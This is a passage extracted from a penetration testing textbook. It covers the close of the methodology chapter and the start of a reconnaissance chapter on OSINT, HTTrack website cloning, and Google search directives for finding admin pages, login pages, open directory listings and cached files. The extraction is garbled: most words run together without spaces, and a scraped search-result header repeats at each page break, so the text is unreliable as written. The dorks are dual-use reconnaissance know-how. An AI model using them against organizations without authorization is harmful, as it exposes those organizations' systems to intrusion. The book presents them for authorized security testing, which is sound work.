ALERT!Exploitationcanoccurlocallyorremotely.Localexploitationrequirestheattackertohavephysical access to the computerwhile remote exploitation occurs through networks andsystemswhen theattackercannotphysically touch the target.Thisbookwill coverbothlocal and remote attacks. Regardless of whether the attack is local or remote, fulladministrativeaccessusually remains thedefinitivegoal.Administrativeaccessallowsahackertofullyandcompletelycontrolthetargetmachine.Newprogramscanbeinstalled,defensivetoolscanbedisabled,confidentialdocumentscanbecopied,edited,ordeleted,securitysettingscanbechangedandmuchmore.

The final phase we will examine is “post exploitation and maintaining access”. Oftentimes, the

Page 33: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

payloads delivered in the exploitation phase provide us with only temporary access to the system.Becausemostpayloadsarenotpersistent,weneed toquicklymove intopostexploitation inorder tocreate a more permanent backdoor to the system. This process allows our administrative access tosurviveprogramclosuresandevenreboots.Asanethicalhacker,wemustbeverycarefulabouttheuseand implementation of this phase.Wewill discuss how to complete this step as well as the ethicalimplicationsofusingbackdoororremotecontrolsoftware.Althoughnotincludedasaformalstepinthepenetrationtestingmethodology,thefinal(andarguably

themostimportant)activityofeveryPTisthereport.Regardlessoftheamountoftimeandplanningyouputintoconductingthepenetrationtest,theclientwilloftenjudgeyourworkandeffectivenessonthebasisof thequalityofyourreport.ThefinalPTreportshouldincludeall therelevantinformationuncoveredinyourtestandexplainindetailhowthetestwasconductedandwhatwasdoneduringthetest. Whenever possible, mitigations and solutions should be presented for the security issues youuncovered.Finally,anexecutivesummaryshouldbeincludedineveryPTreport.Thepurposeofthissummaryistoprovideasimpleone-totwo-page,nontechnicaloverviewofyourfindings.Thisreportshouldhighlightandbrieflysummarizethemostcriticalissuesyourtestuncovered.Itisvitalthatthisreportbereadable(andcomprehendible)byboth technicalandnontechnicalpersonnel.It is importantnot to fill the executive summarywith toomany technicaldetails; that is thepurposeof thedetailedreport.

ADDITIONALINFORMATIONThe Penetration Testing Execution Standard (PTES) is a fantastic resource if you arelooking to find a more in-depth and thorough methodology. The PTES includes bothtechnicalguidelineswhichcanbeusedbysecurityprofessionalsaswellasaframeworkand common language that can be leveraged by the business community. You can findmoreinformationathttp://www.pentest-standard.org.

WhereDoIGofromHere?ItshouldbenotedthatthereareseveralalternativestoKaliorBacktrack.Alltheexamplesinthisbookshouldworkwitheachofthesecurityauditingdistributionsdiscussedbelow.BlackbuntuisanUbuntu-basedsecuritydistrowithaveryfriendlycommunity,greatsupport,andactivedevelopment.Blackboxis another great penetration testing distribution based on Ubuntu and includes a sleek, lightweightinterface and many preinstalled security tools. Matriux is similar to Backtrack but also includes aWindows binary directory that can be used and accessed directly from aWindowsmachine. FedoraSecuritySpin is a collectionof security-related toolsbuiltoffof theFedoradistribution.Katana is amultibootDVDthatgathersanumberofdifferenttoolsanddistributionsintoasinglelocation.Finally,youmaywanttoexploretheclassicSTDdistributionaswellasPentoo,NodeZero,andSamuraiWTF.There are many other Linux penetration testing distributions—a simple Google search for “LinuxPenetrationTestingDistributions”will provideyouwith aplethoraofoptions.Youcould also spendsometimebuildingandcustomizingyourownLinuxdistributionbycollectingandinstallingtoolsasyourhackingcareerprogresses.

Page 34: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

SummaryThischapterintroducedtheconceptofpenetrationtestingandhackingasameansofsecuringsystems.Aspecial“basicsonly”,four-stepmethodologyincludingReconnaissance,Scanning,Exploitation,andPostExploitationandMaintainingAccesswaspresented.Thischapteralsodiscussedthevariousrolesandcharactersinvolvedinthehackingscene.ThebasicsofBacktrackLinux,includinghowtobootup,login,startX,accesstheterminal,obtainanIPaddress,andshutdownthesystem,werecovered.KaliLinux,areenvisionedversionofBacktrackwasalsointroduced.Thecreationanduseofapenetrationtestinglabwasoutlined.Thespecificrequirements,allowingyoutopracticeyourskills inasafeandsandboxedenvironmentandfollowalongwiththeexamplesinthebook,werepresented.ThischapterwrappedupbyprovidingadditionaldetailsonalternativestoKaliorBacktrackLinuxwhichcouldbeexploredbythereader.

Page 35: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

CHAPTER2

Reconnaissance

InformationinThisChapter:HTTrack:WebsiteCopierGoogleDirectives:PracticingYourGoogle-FuTheHarvester:DiscoveringandLeveragingE-mailAddressesWhoisNetcraftHostFierceandOtherToolstoExtractInformationfromDNSExtractingInformationFromE-mailServersMetaGooFilThreatAgent:AttackoftheDronesSocialEngineeringSiftingthroughtheInteltoFindingAttackableTargets

IntroductionInmost cases, peoplewhoattendhackingworkshopsor classeshaveabasicunderstandingof a fewsecurity tools.Typically, thesestudentshaveusedaport scanner toexamineasystemormaybe theyhaveusedWiresharktoexaminenetworktraffic.SomehaveevenplayedaroundwithexploittoolslikeMetasploit.Unfortunately,mostbeginnersdonotunderstandhowthesetoolsfitintothegrandschemeofapenetrationtest.Asaresult,theirknowledgeisincomplete.Followingamethodologyensuresthatyouhaveaplanandknowwhattodonext.Tostress the importanceofusingand followingamethodology, it isoftenbeneficial todescribea

scenariothathelpsdemonstrateboththeimportanceofthisstepandthevalueoffollowingacompletemethodologywhenconductingapenetrationtest.

Page 36: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Assumeyouareanethicalpenetrationtesterworkingforasecuritycompany.Yourbosswalksovertoyourofficeandhandsyouapieceofpaper.“IjustgotoffthephonewiththeCEOofthatcompany.ShewantsmybestemployeetoPenTesthercompany—that’syou.OurLegalDepartmentwillbesendingyouane-mailconfirmingwehavealloftheproperauthorizationsandinsurance.”Younod,acceptingthe job.He leaves.You flipover thepaper,a singleword iswrittenon thepaper,“Syngress”. It isacompanyyouhaveneverheardofbefore,andnootherinformationiswrittenonthepaper.Whatnow?Thefirststepineveryjobisresearch.Themorethoroughlyyouprepareforatask,themorelikely

you are to succeed. The guyswho created Backtrack andKali Linux are fond of quotingAbrahamLincolnwhosaid,“IfIhad6htochopdownatree,I’dspendthefirstfourofthemsharpeningmyaxe.”Thisisaperfectintroductiontobothpenetrationtestingandthereconnaissancephase.Reconnaissance, also known as information gathering, is arguably themost important of the four

phaseswewilldiscuss.Themoretimeyouspendcollectinginformationonyourtarget,themorelikelyyou are to be successful in the later phases. Ironically, recon is also one of the most overlooked,underutilized,andmisunderstoodstepsinpenetrationtesting(PT)methodologiestoday.Itispossiblethatthisphaseisoverlookedbecausenewcomersareneverformallyintroducedtothe

concept, itsrewards,orhowtheresultsofgoodinformationgatheringcanbevital in latersteps.It isalsopossiblethatthisphaseisoverlookedbecauseitistheleast“technical”andoftentheleastexciting.Oftentimes, people who are new to hacking tend to view this phase as boring and unchallenging.Nothingcouldbefurtherfromthetruth.Althoughitistruethatthereareveryfewgood,automatedtoolsthatcanbeusedtocompleterecon,

once you understand the basics it is like an entirely new way of looking at the world. A goodinformationgatherer ismadeupof equalparts: hacker, social engineer, andprivate investigator.Theabsence ofwell-defined rules of engagement also distinguishes this phase fromall others.This is instarkcontrast to the remaining steps inourmethodology.Forexample,whenwediscuss scanning inChapter 3, there is a specific order and a clear series of steps that need to be followed in order toproperlyportscanatarget.Learninghowtoconductdigitalreconnaissanceisavaluableskillforanyonelivingintoday’sworld.

Forpenetration testersandhackers, it is invaluable.Thepenetration testingworld is filledwithgreatexamples and stories of how good recon single-handedly allowed the tester to fully compromise anetworkorsystem.Considerthefollowingexample:assumewehavetwodifferentcriminalswhoareplanningtoroba

bank.Thefirstcriminalbuysagunandrunsintothefirstbankhefindsyelling“HandsUp!GiveMeAllYourMoney!” It is not hard to imagine that the scenewouldbe complete chaos and even if thebunglingburglarmanagedtogetaway,itprobablywouldnottakelongforthepolicetofindhim,arresthim,andsendhimtoprison.ContrastthistonearlyeveryHollywoodmovieinexistencetoday,wherecriminals spendmonthsplanning, scheming,organizing, and reviewingdetails before theheist.Theyspend time getting weapons anonymously, planning escape routes, and reviewing schematics of thebuilding.Theyvisitthebanktodeterminethepositionofthesecuritycameras,makenoteoftheguards,and determine when the bank has the most money or is the most vulnerable. Clearly, the secondcriminalhasthebetterchanceofgettingawaywiththemoney.Itshouldbeobvious that thedifferencebetweenthese twoexamples ispreparationandhomework.

Hackingandpenetrationtestingarethesame—youcannotjustgetanInternetprotocol(IP)addressandstartrunningMetasploit(wellyoucan,butyouareprobablynotgoingtobeveryeffective).Recalltheexampleusedtobeginthischapter.Youhadbeenassignedtocompleteapenetrationtest

Page 37: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

butweregivenverylittleinformationtogoon.Asamatteroffact,youweregivenonlythecompanyname,oneword.Themillion-dollarquestionforeveryaspiringhackeris,“HowdoIgofromasinglecompanynametoowningthesystemsinsidethenetwork?”Whenwebegin,weknowvirtuallynothingabouttheorganization;wedonotknowtheirwebsite,physicaladdress,ornumberofemployees.Wedonot know their public IP addresses or internal IP schemes; we know nothing about the technologydeployed,operatingsystems(OSs)used,ordefensesinplace.Step1beginsbyconductinga thorough searchofpublic information; someorganizations call this

Open-SourceIntelligence(OSINT).Thegreatthingaboutthisphaseisthatinmostcases,wecangatherasignificantamountofdatawithouteversendingasinglepacket to the target.Althoughitshouldbepointedoutthatsometoolsortechniquesusedinreconnaissancedoinfactsendinformationdirectlytothetarget,itisimportanttoknowthedifferencebetweenwhichtoolsdoandwhichtoolsdonottouchthe target. There are twomain goals in this phase: first, we need to gather asmuch information aspossibleaboutthetarget;second,weneedtosortthroughalltheinformationgatheredandcreatealistofattackableIPaddressesoruniformresourcelocators(URLs).InChapter1,itwaspointedoutthatamajordifferencebetweenblackhatandwhitehatattackersis

authorization. Step 1 provides us with a prime example of this. Both types of hackers conductexhaustivereconnaissanceontheirtargets.Unfortunately,malicioushackersareboundbyneitherscopenorauthorization.Whenethicalhackersconductresearch,theyarerequiredtostaywithintheconfinesofthetest(i.e.

scope). During the information gathering process, it is not unheard-of for a hacker to uncover avulnerable system that is related to the target but not ownedby the target.Even if the related targetcouldprovideaccessintotheoriginalorganization,withoutpriorauthorization,awhitehathackerisnotallowedtouseorexplorethisoption.Forexample,letusassumethatyouaredoingapenetrationtestagainst a company and you determine that their web server (which contains customer records) isoutsourcedormanagedbyathirdparty.Ifyoufindaseriousvulnerabilityonthecustomer’swebsite,butyouhavenotbeenexplicitlyauthorizedtotestandusethewebsite,youmustignoreit.Theblackhatattackersareboundbynosuchrulesandwilluseanymeanspossibletoaccessthetargetsystems.Inmostcases,becauseyouwerenotauthorizedtotestandexaminetheseoutsidesystems,youwillnotbeabletoprovidealotofdetail;however,yourfinalreportmustincludeasmuchinformationaspossibleaboutanysystemsthatyoubelieveputtheorganizationatrisk.

ADDITIONALINFORMATIONAsapenetrationtester,whenyouuncoverrisksthatfalloutsidethescopeofyourcurrentengagement,youshouldmakeeveryefforttoobtainproperauthorizationandexpandthescopeofyourtest.Oftentimes,thiswillrequireyoutoworkcloselywithyourclientandtheirvendorsinordertoproperlyexplainpotentialrisks.

To be successful at reconnaissance, you must have a strategy. Nearly all facets of informationgatheringleveragethepoweroftheInternet.Atypicalstrategyneedstoincludebothactiveandpassivereconnaissance.Activereconnaissanceincludesinteractingdirectlywiththetarget.Itisimportanttonotethatduring

Page 38: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

thisprocess,thetargetmayrecordourIPaddressandlogouractivity.ThishasahigherlikelihoodofbeingdetectedifweareattemptingtoperformaPTinastealthfashion.Passivereconnaissancemakesuseofthevastamountofinformationavailableontheweb.Whenwe

areconductingpassivereconnaissance,wearenotinteractingdirectlywiththetargetandassuch,thetargethasnowayofknowing,recording,orloggingouractivity.Asmentioned,thegoalofreconnaissanceistocollectasmuchinformationaspossibleonyourtarget.

Atthispointinthepenetrationtest,nodetailshouldbeoverlookedregardlessofhowinnocuousitmayseem.While you are gathering information, it is important to keep your data in a central location.Wheneverpossible,itishelpfultokeeptheinformationinelectronicformat.Thisallowsforquickandaccurate searches lateron.Digital recordscanbeeasily sorted,edited,copied, imported,pruned,andmined.Evenso,everyhackerisabitdifferentandtherearestillsomepenetrationtesterswhoprefertoprint out all the information they gather. Each piece of paper is carefully cataloged and stored in afolder.Ifyouaregoingtousethetraditionalpapermethod,besuretocarefullyorganizeyourrecords.Paper-basedinformationgatheringbindersonasingletargetcanquicklygrowtoseveralhundredpages.Inmostcases,thefirstactivityistolocatethetarget’swebsite.Inourexample,wewoulduseasearch

enginetolookfor“Syngress”.

ALERT!Even thoughwe recently discussed the importance of creating and using a “sandboxedhackinglab”toensurenotrafficleavesyournetwork,practicingreconnaissancerequiresaliveInternetconnection!Ifyouwanttofollowalongwiththetoolsandexamplesinthischapter,youwillneedtoconnectyourattackmachinetotheInternet.

HTTrack:WebsiteCopierTypically,webeginStep1bycloselyreviewingthetarget’swebsite.Insomecases,itmaybehelpfultousea toolcalledHTTracktomakeapage-by-pagecopyof thewebsite.HTTrackisafreeutility thatcreatesan identical,offlinecopyof the targetwebsite.Thecopiedwebsitewill includeall thepages,links, pictures, and code from the original website; however, it will reside on your local computer.Utilizingawebsite-copying tool likeHTTrackallowsus toexploreand thoroughlymine thewebsite“offline”withouthavingtospendadditionaltimetraipsingaroundonthecompany’swebserver.

ADDITIONALINFORMATIONIt is important tounderstand that themore timeyouspendnavigatingandexploring thetargetwebsite,themorelikelyitisthatyouractivitycanbetrackedortraced(evenifyouare simply browsing the site). Remember anytime you interact directlywith a resourceownedbythetarget,thereisachanceyouwillleaveadigitalfingerprintbehind.Advanced penetration testers can also run automated tools to extract additional or

hiddeninformationfromalocalcopyofawebsite.HTTrack can be downloaded directly from the company’s website at

Page 39: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

http://www.httrack.com/.InstallingforWindowsisassimpleasdownloadingtheinstaller.exe and clicking next. If you want to install HTTrack in Kali or your Linux attackmachine,youcanconnect to theInternetaswedescribed inChapter1,opena terminal,andtype

apt-getinstallhttrack

Pleasenote, there isalsoagraphicaluser interface (GUI)versionofHTTrackbut fornowwewillfocusontheterminalversion.Ifyouprefer tousetheGUIyoucanalwaysinstallitatalaterdate.Oncetheprogramisinstalled,youcanrunitbyopeningaterminalandtypinghttrack

Before proceeding, it is important to understand that cloning awebsite is easy to trace and oftenconsidered highly offensive. Never run this tool without prior authorization. After startingHTTrackfrom the terminal, theprogramwillguideyou througha seriesofbasicquestionsbefore itbegins tocopy the target’s website. In most cases you can simply hit the “Enter” key to accept the defaultanswers.Ataminimum,youwillneedtoenteraprojectnameandavalidURLtocopy.Besuretotakealittletimeandreadeachquestionbeforeansweringorblindlyacceptingthedefaultanswer.Whenyouaredoneansweringthequestionsyouwillneedtoenter“Y”tobeginthecloningprocess.Dependingonthesizeofthetargetwebsite,thiscantakeanywherefromafewsecondstoseveralhours.Remember,becauseyouarecreatinganexact replicaof thewebsite, theamountofavailabledisk spaceonyourlocalcomputerneedstobeconsidered.Largewebsitescanrequireextensiveharddrivespace.Alwaysbesureyouhaveenoughroombeforebeginningyourcopy.WhenHTTrackcompletestheprocess,youwillbepresentedwithamessageintheterminalthatsays

“Done.ThanksforusingHTTrack!”IfyouareusingKaliandaccepted thedefaultoptions,HTTrackwill place the cloned site into the directory /root/websites/<project_name> you can now openFirefox and enter the address: /root/websites/<project_name> into the URL bar. Note the<project_name>willneedtobesubstitutedforthenameyouusedwhensettingupyourcopy.Youcaninteractwiththecopiedwebsitebyclickingonthelinksinthebrowser.Agoodplacetostartisusuallytheindex.htmlfile.Firefox can be found by navigating the application menu/icon on the desktop or by opening a

terminalandtypingfirefox

Whetheryoumakea copyof the targetwebsiteoryou simplybrowse the target in real time, it isimportant to pay attention to details. You should begin by closely reviewing and recording all theinformationyou findon the target’swebsite.Oftentimes,withvery littledigging,youwillbeable tomake some significant findings including physical address and locations, phone numbers, e-mailaddresses, hours of operation, business relationships (partnerships), employee names, social mediaconnections,andotherpublictidbits.Whenconductingapenetrationtest,itisimportanttopayspecialattentiontothingslike“News”or

“Announcements”. Companies are often proud of their achievements and unintentionally leak usefulinformationthroughthesestories.Companymergersandacquisitionscanalsoyieldvaluabledata;thisis especially important for expanding the scope and adding additional targets to our penetration test.Even the smoothestofacquisitionscreateschangeanddisarray inanorganization.There isalwaysa

Page 40: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

transitionperiodwhencompaniesmerge.Thistransitionperiodprovidesuswithuniqueopportunitiestotakeadvantageofthechangeandconfusion.Evenifthemergerisoldnewsorgoesoffwithoutahitch,theinformationstillprovidesvaluebygivingusadditionaltargets.Mergedorsiblingcompaniesshouldbe authorized and included in the original target list, as they provide a potential gateway into theorganization.Finally,itisimportanttosearchandreviewanyopenjobpostingsforthetargetcompany.Technical

jobpostingsoftenrevealverydetailedinformationaboutthetechnologybeingusedbyanorganization.Many timesyouwill findspecifichardwareandsoftware listedon the jobopening.Donot forget tosearchforyourtargetinthenationwidejobbanksaswell.Forexample,assumeyoucomeacrossajobrequisitionlookingforaNetworkAdministratorwithCiscoASAexperience.Fromthispost,youcandrawsomeimmediateconclusionsandmakesomeeducatedguesses.First,youcanbecertainthatthecompany either uses or is about to use aCiscoASA firewall. Second, depending on the size of theorganization,youmaybeabletoinferthatthecompanydoesnothave,orisabouttolose,someonewithknowledgeofhowtoproperlyuseandconfigureaCiscoASAfirewall.Ineithercase,youhavegainedvaluableknowledgeaboutthetechnologyinplace.In most cases, once we have thoroughly examined the target’s website, we should have a solid

understandingof the target includingwhotheyare,what theydo,where theyare located,andasolidguessaboutthetechnologytheyuse.Armedwiththisbasicinformationaboutthetarget,wecanconductsomepassivereconnaissance.It

isverydifficult, ifnot impossible, foracompany todeterminewhenahackerorpenetration tester isconductingpassivereconnaissance.Thisactivityoffersalow-risk,high-rewardsituationforattackers.Recall that passive reconnaissance is conducted without ever sending a single packet to the targetsystems.Onceagain,ourweaponofchoicetoperformthistaskistheInternet.Webeginbyperformingexhaustivesearchesofourtargetinthevarioussearchenginesavailable.Althoughtherearemanygreatsearchenginesavailabletoday,whencoveringthebasicsofhacking

andpenetrationtesting,wewillfocusonGoogle.Googleisvery,verygoodatitsjob.Thereisareasonwhy the company’s stock trades for $400−600 a share. Spiders from the company aggressively andrepeatedly scour all corners of the Internet cataloging information and send it back to the Googleservers.Thecompanyissoefficientatitsjob,thatoftentimeshackerscanperformanentirepenetrationtestusingnothingbutGoogle.AtDefcon13,JohnnyLongrockedthehackercommunitybygivingatalktitled“GoogleHacking

forPenetrationTesters”.ThetalkbyJohnnywasfollowedupbyabookthatwentevendeeperintotheartofGoogleHacking.

ADDITIONALINFORMATIONIfyouare interested inpenetration testing, it ishighlysuggested thatyouwatchJohnnyLong’svideoandtakealookattheGoogleHackingbook.Youcanseethevideoforfreeonline by searching the Defcon media archive available athttp://www.defcon.org/html/links/dc-archives.html. Johnny’s book is published bySyngressandavailablenearlyanywhere.Hisdiscoveriesandtheircontinuedevolvementhavechangedpenetrationtestingandsecurityforever.Johnny’smaterial isawesomeandwellworthyourtime.

Page 41: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

AlthoughwewillnotdiveintothespecificsofGooglehacking,asolidunderstandingofhowtouseGoogleproperly isvital tobecomingaskilledpenetration tester. Ifyouaskpeople“HowdoyouuseGoogle?”,theytypicallyrespondbysaying“Wellit’ssimple…Youfireupawebbrowser,navigatetogoogle.com,andtypewhatyou’researchingforintothebox.”While this answer is fine for 99% of the planet, it is not good enough for aspiring hackers and

penetration testers.Youhave to learn to search in a smarterwayandmaximize the return results. Inshort,youmustcultivateyourGoogle-Fu.Learninghowtouseasearchengine likeGoogleproperlywillsaveyoutimeandallowyoutofindthehiddengemsthatareburiedinthetrillionsofwebpagesintheInternettoday.

GoogleDirectives:PracticingYourGoogle-FuLuckilyforus,Googleprovides“directives”thatareeasytouseandhelpusgetthemostoutofeverysearch.Thesedirectivesarekeywords thatenableus tomoreaccuratelyextract information from theGoogleIndex.Consider the following example: assume you are looking for information on the Dakota State

University(DSU)website(dsu.edu)aboutme.ThesimplestwaytoperformthissearchistoenterthefollowingtermsinaGooglesearchbox:patengebretsondsu.Thissearchwillyieldafairnumberofhits. However (at the time of this writing), only four of the first 10 websites returned were pulleddirectlyfromtheDSUwebsite.By utilizingGoogle directives,we can force theGoogle index to do our bidding. In the example

above,weknowboththetargetwebsiteandthekeywordswewanttosearch.Morespecifically,weareinterested in forcing Google to return only results that are pulled directly from the target (dsu.edu)domain.Inthiscase,ourbestchoiceistoutilizethe“site:”directive.Usingthe“site:”directiveforcesGoogle to return only hits that contain the keywordswe used and come directly from the specifiedwebsite.ToproperlyuseaGoogledirective,youneedthreethings:1.Thenameofthedirectiveyouwanttouse2.Acolon3.Thetermyouwanttouseinthedirective.

Afteryouhaveenteredthethreepiecesofinformationabove,youcansearchasyounormallywould.Toutilizethe“site:”directive,weneedtoenterthefollowingintoaGooglesearchbox:

site:domainterm(s)tosearch

Note that there is no space between the directive, colon, and domain. In our earlier example, wewanted to conduct a search forPatEngebretsonon theDSUwebsite.To accomplish this,wewouldenterthefollowingcommandintotheGooglesearchbar:

site:dsu.edupatengebretson

Running this searchprovidesuswithdrasticallydifferent results thanour initial attempt.First,wehavetrimmedtheoverallnumberofhitsfrom12,000+downtomoremanageable155.There is littledoubtthatapersoncansort throughandgatherinformationfrom155hitsmuchquickerthan12,000.Second and possibly more importantly, every single returned result comes directly from the targetwebsite.Utilizingthe“site:”directiveisagreatwaytosearchaspecifictargetandlookforadditionalinformation.Thisdirectiveallowsyoutoavoidsearchoverloadandtofocusyoursearch.

Page 42: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

ALERT!It is worth noting that all searches in Google are case insensitive so “pat”, “Pat”, and“PAT”willallreturnthesameresults!

Another good Google directive to use is “intitle:” or “allintitle:”. Adding either of these to yoursearchcausesonlywebsitesthathaveyoursearchwordsinthetitleofthewebpagetobereturned.Thedifference between “intitle:” and “allintitle:” is straightforward. “allintitle:”will only returnwebsitesthatcontainallthekeywordsinthewebpagetitle.The“intitle:”directivewillreturnanypagewhosetitlecontainsatleastoneofthekeywordsyouentered.Aclassicexampleofputtingthe“allintitle:”Googlehacktoworkistoperformthefollowingsearch:allintitle:indexof

Performingthissearchwillallowustoviewalistofanydirectoriesthathavebeenindexedandareavailableviathewebserver.Thisisoftenagreatplacetogatherreconnaissanceonyourtarget.If we want to search for sites that contain specific words in the URL, we can use the “inurl:”

directive.Forexample,wecanissuethefollowingcommandtolocatepotentiallyinterestingpagesonourtarget’swebpage:

inurl:admin

This search can be extremely useful in revealing administrative or configuration pages on yourtarget’swebsite.ItcanalsobeveryvaluabletosearchtheGooglecacheratherthanthetarget’swebsite.Thisprocess

not only reduces your digital footprints on the target’s server,making it harder to catch you, it alsoprovidesahackerwiththeoccasionalopportunitytoviewwebpagesandfilesthathavebeenremovedfrom theoriginalwebsite.TheGoogle cachecontains a stripped-downcopyof eachwebsite that theGooglebotshavespideredandcataloged.Itisimportanttounderstandthatthecachecontainsboththecode used to build the site andmany of the files thatwere discovered during the spidering process.Thesefilescanbeportabledocumentformats(PDFs),MSOfficedocumentslikeWordandExcel,textfiles,andmore.It is not uncommon today for information to be placed on the Internet by mistake. Consider the

following example. Suppose you are a network administrator for a company. You useMS Excel tocreateasimpleworkbookcontainingalltheIPaddresses,computernames,andlocationsofthepersonalcomputers (PCs) inyournetwork.Rather than carrying thisExcel spreadsheet around, youdecide topublish it to your company’s intranet where it will be accessible only by people within yourorganization.However, rather than publishing this document to the intranetwebsite, youmistakenlypublishittothecompanyInternetwebsite.IftheGooglebotsspideryoursitebeforeyoutakethisfiledown,itispossiblethatthedocumentwillliveonintheGooglecacheevenafteryouhaveremoveditfromyoursite.Asaresult,itisimportanttosearchtheGooglecachetoo.Wecanusethecache:directivetolimitoursearchresultsandshowonlyinformationpulleddirectly

fromtheGooglecache.ThefollowingsearchwillprovideuswiththecachedversionoftheSyngresshomepage:

cache:syngress.com

It is important that you understand that clicking on any of the URLs will bring you to the livewebsite,not thecachedversion. Ifyouwant toviewspecificcachedpages,youwillneed tomodifyyoursearch.

Page 43: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Thelastdirectivewewillcoverhere is“filetype:”.Wecanutilize“filetype:” tosearchforspecificfileextensions.Thisisextremelyusefulforfindingspecifictypesoffilesonyourtarget’swebsite.Forexample,toreturnonlyhitsthatcontainPDFdocuments,youwouldissuethefollowingcommand:

filetype:pdf

Thispowerfuldirectiveisagreatwaytofindlinkstospecificfileslike.doc,xlsx,ppt,txt,andmanymore.Youroptionsarenearlylimitless.Foradditionalflexibility,wecancombinemultipledirectives into thesamesearch.Forexample, if

wewant tofindall thePowerPointpresentationsontheDSUwebsite,youwouldenter thefollowingcommandintothesearchbox:

site:dsu.edufiletype:pptx

In thiscase,every result that is returned isaPowerPoint fileand comesdirectly from thedsu.edudomain! Figure 2.1 shows a screenshot of two searches: the first utilizes Google directives and thesecondshowstheresultsfromatraditionalsearch.UtilizingGoogledirectiveshasdrasticallyreducedthenumberofhits(by186,950!).

FIGURE2.1 ThepowerofGoogledirectives.

Oftentimes,GoogleHackingcanalsobereferredtoas“GoogleDorks”.Whenanapplicationhasaspecificvulnerability,hackersandsecurityresearcherswilltypicallyplaceaGoogleDorkintheexploit,whichallowsyoutosearchforvulnerableversionsutilizingGoogle.Theexploit-db.comwebsitewhichisrunbythefolkswhocreatedBackTrackandKaliLinux(Offensive-Security)hasanextensivelistofGoogleDorksandadditionalGoogleHackingTechniques.Ifyouvisithttp://www.exploit-db.comandgototheGoogleHackingDatabase(GHDB)link(Figure2.2):

FIGURE2.2 Utilizingtheexploit-dbtoaccesstheGHDB.

Page 44: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

Youcanselectwhattolookforandusethelargerepositorywithintheexploit-db.comwebsitetohelpaidyouinyourtarget(Figure2.3).

FIGURE2.3 SelectingacategoryfromtheGHDB.

SomeotheronesthatoftenhaveahighyieldofsuccesswithGooglearethefollowing:inurl:login

orthefollowing:

Logon

Signin

Signon

Forgotpassword

Forgot

Reset

Thesewill helpyou findcommon loginor similarpages thatmayhavedynamiccontent.A lotoftimesyoucanfindvulnerabilitieswithinthesepages.

site:syngress.comintitle:"indexof"

Thisonewilllistanydirectorybrowsingwhichwilllisteverythingwithinadirectory.Syngressdoesnothaveanyof thesevulnerabilitiesexposedhowever, isacommonway to findadditional files thatmaynotbenormallyaccessedthroughwebpages.Therearemanyother typesofdirectives andGooglehacks thatyou shouldbecome familiarwith.

AlongwithGoogle,itisimportantthatyoubecomeefficientwithseveralothersearchenginesaswell.Oftentimes,differentsearchengineswillprovidedifferentresults,evenwhenyousearchforthesamekeywords.Asapenetrationtesterconductingreconnaissance,youwanttobeasthoroughaspossible.ItisworthyourtimetolearnhowtoleveragethesearchcapabilitiesofYahoo,Bing,Ask,Dogpile,andmanymore.Asafinalwarning, itshouldbepointedout that thesepassivesearchesareonlypassiveas longas

youaresearching.Onceyoumakeaconnectionwiththetargetsystem(byclickingonanyofthelinks),youarebacktoactivemode.Beawarethatactivereconnaissancewithoutpriorauthorizationcouldbeviewedasanillegalactivity.Once you have thoroughly reviewed the target’s web page and conducted exhaustive searches

utilizing Google and other search engines, it is important to explore other corners of the Internet.Newsgroups and Bulletin Board Systems like UseNet and Google Groups can be very useful forgathering information about a target. Support forums, Internet Relay Chart, and even “live chat”

Page 45: The Basics of Hacking and Penetration Testingindex-of.es › z0ro-Repository-2 › Data › Hacking › Syngress...Netcat: The Swiss Army Knife Netcat’s Cryptic Cousin: Cryptcat

features that allow you to talk to a representative of the company can be useful in extractinginformation. It isnotuncommon forpeople tousediscussionboardsandsupport forums topost andreceivehelpwith technical issues.Unfortunately(orfortunately,dependingonwhichsideof thecoinyouare lookingat),employeesoftenpostverydetailedquestions includingsensitiveandconfidentialinformation.Forexample,consideranetworkadministratorwhoishavingtroublegettinghisfirewallproperlyconfigured.Itisnotuncommontofinddiscussionsonpublicforumswheretheseadminswillpostentire,unredactedsectionsoftheirconfigfiles.Tomakemattersworse,manypeoplecreatepostsusingtheircompanye-mailaddress.Thisinformationisavirtualgoldmineforanattacker.Evenifournetworkadminissmartenoughnottopostdetailedconfigurationfiles,itishardtoget

support from thecommunitywithout inadvertently leakingsome information.Readingevencarefullyscrubbed and redacted posts will often reveal specific software version, hardware models, currentconfigurationinformation,andthelikeaboutinternalsystems.AllthisinformationshouldbefiledawayforfutureuseinthePT.Publicforumsareanexcellentwaytoshareinformationandreceivetechnicalhelp.However,when

